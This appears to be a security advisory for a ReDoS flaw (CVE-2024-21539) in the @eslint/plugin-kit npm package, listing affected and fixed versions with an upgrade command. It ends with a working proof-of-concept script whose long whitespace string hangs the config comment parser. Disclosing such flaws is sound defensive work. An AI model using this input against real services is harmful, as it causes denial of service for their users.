Packages / @eslint/plugin-kit / Security

LowVulnerabilityGHSA-7q7g-4xm8-89cqCVE-2024-21539Published 15 Nov 2024

Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

Your version

Affected releases · @eslint/plugin-kit

  • 0.2.x0.2.0 – 0.2.2Fixed in 0.2.3
  • 0.1.x0.1.0No fix on this line yet

On 0.2.x, the newest line:

npm install @eslint/plugin-kit@0.2.3
Every release on a timeline
  1. Affected

    0.1.0 – 0.2.2

    4 releases

  2. Fixed

    0.2.3 – 0.7.3

    21 releases, latest

25 stable releases of @eslint/plugin-kit, oldest to newest.

What happens

Crafting a very large and well crafted string can increase the CPU usage and crash the program.

POC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

var str = "";
for (var i = 0; i < 1000000; i++) {
  str += " ";
}
str += "A";

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")

// run `npm i @eslint/plugin-kit` and `node attack.js` 
// then the program will stuck forever with high CPU usage